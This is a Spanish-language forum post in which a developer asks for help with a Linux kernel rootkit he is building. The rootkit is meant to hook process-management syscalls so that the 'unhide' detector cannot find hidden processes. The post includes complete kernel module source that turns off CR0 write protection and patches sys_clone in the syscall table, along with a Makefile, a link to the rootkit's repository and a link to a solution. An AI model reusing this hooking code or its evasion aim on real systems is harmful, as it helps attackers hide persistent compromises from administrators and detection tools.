Hola a tod@s,
soy nuevo, y este es mi primer post. Así que aprovecho para preguntar si hay algún lugar donde saludar los nuevos. Y si no, pues encantado de estar aquí.
Os comento mi pregunta primero. Yo estoy haciendo un rootkit genérico para Linux Kernel 4.x. Y quiero hookear las syscalls de gestión de procesos, porque intentamos hacer un bypass de una utilidad llamada unhide, que genera muchos hijos hasta que el contador de PIDs hace overflow y vuelve a empezar. Lo que hace, es que tras varios overflows, compara los PIDs de los hijos, con los PIDs visibles. Y al final, el PID que se repite que no adquiere ningún hijo, está oculto. Con un margen de error aceptable.
La idea es hookear sys_clone para probar una idea que tenemos en mente un compañero y yo. Además de todas la API de gestión de procesos, como ya os he dicho.
El problema es que hay algo extraño con la función _do_fork, que cuando se llama a sys_clone desde el manejador my_clone64, algo ocurre en la pila que cuando retorna al espacio de usuario, en posteriores llamadas a wait() dá una violación de segmento.
Esto no me ha pasado con ninguna syscall. Y sys_fork y sys_vfork las puedo hookear bien. No dá problemas.
Aquí tenéis un enlace al código completo de rootkit https://github.com/D1W0U/ARP-RootKit (https://github.com/D1W0U/ARP-RootKit), que quiero presentar aquí también, cuando haya hecho la primera release.
Y también os copio un módulo para kernel de Linux que demuestra el problema, por si queréis investigar, sin necesidad de recurrir al frondoso proyecto:
#include <linux/module.h>
#include <linux/pid.h>
#include <linux/pid_namespace.h>
#include <linux/kallsyms.h>
#include <linux/uaccess.h>
void **sys_call_table = NULL;
asmlinkage long (*sys_read)(long a1, long a2, long a3, long a4, long a5, long a6) = NULL;
asmlinkage long (*sys_clone)(long a1, long a2, long a3, long a4, long a5, long a6) = NULL;
asmlinkage long my_clone64(long a1, long a2, long a3, long a4, long a5, long a6);
char *sct_str;
module_param(sct_str, charp, 0);
inline void disable_wp(void) {
asm("cli\n\tmov\t%cr0, %rax\n\tand\t$0xfffffffffffeffff, %rax\n\tmov\t%rax, %cr0\n\tsti");
}
inline void enable_wp(void) {
asm("cli\n\tmov\t%cr0, %rax\n\tor\t$0x10000, %rax\n\tmov\t%rax, %cr0\n\tsti");
}
int init_module(void) {
int ret = 0;
mm_segment_t old_fs;
kstrtoul(sct_str, 16, (unsigned long *) &sys_call_table);
printk("%lx\n", sys_call_table);
if (!sys_call_table) {
return -1;
}
sys_read = sys_call_table[__NR_read];
sys_clone = sys_call_table[__NR_clone];
// hook sys_clone
printk("be\n");
disable_wp();
sys_call_table[__NR_clone] = my_clone64;
enable_wp();
printk("af\n");
// wait user's ENTER
old_fs = get_fs();
set_fs(KERNEL_DS);
sys_read(0, (long)&ret, 1, 0, 0, 0);
set_fs(old_fs);
// restore sys_clone
disable_wp();
sys_call_table[__NR_clone] = sys_clone;
enable_wp();
return -1;
}
void cleanup_module(void) {
}
asmlinkage long my_clone64(long a1, long a2, long a3, long a4, long a5, long a6) {
long ret = 0;
ret = sys_clone(a1, a2, a3, a4, a5, a6);
return ret;
}
MODULE_LICENSE("GPL");
Y aquí el Makefile:
obj-m += so.o
KERNEL_HEADERS = /lib/modules/$(shell uname -r)/build
all:
make V=1 -C $(KERNEL_HEADERS) M=$(PWD) modules
clean:
make V=1 -C $(KERNEL_HEADERS) M=$(PWD) clean
Llamad al código 'os.c' y compilad con make.
Gracias de antemano.
Para el que le interese, ya lo he conseguido.
El método/respuesta está en https://stackoverflow.com/questions/48912653/how-to-hook-sys-clone-in-newer-linux-kernel
Gracias igualmente.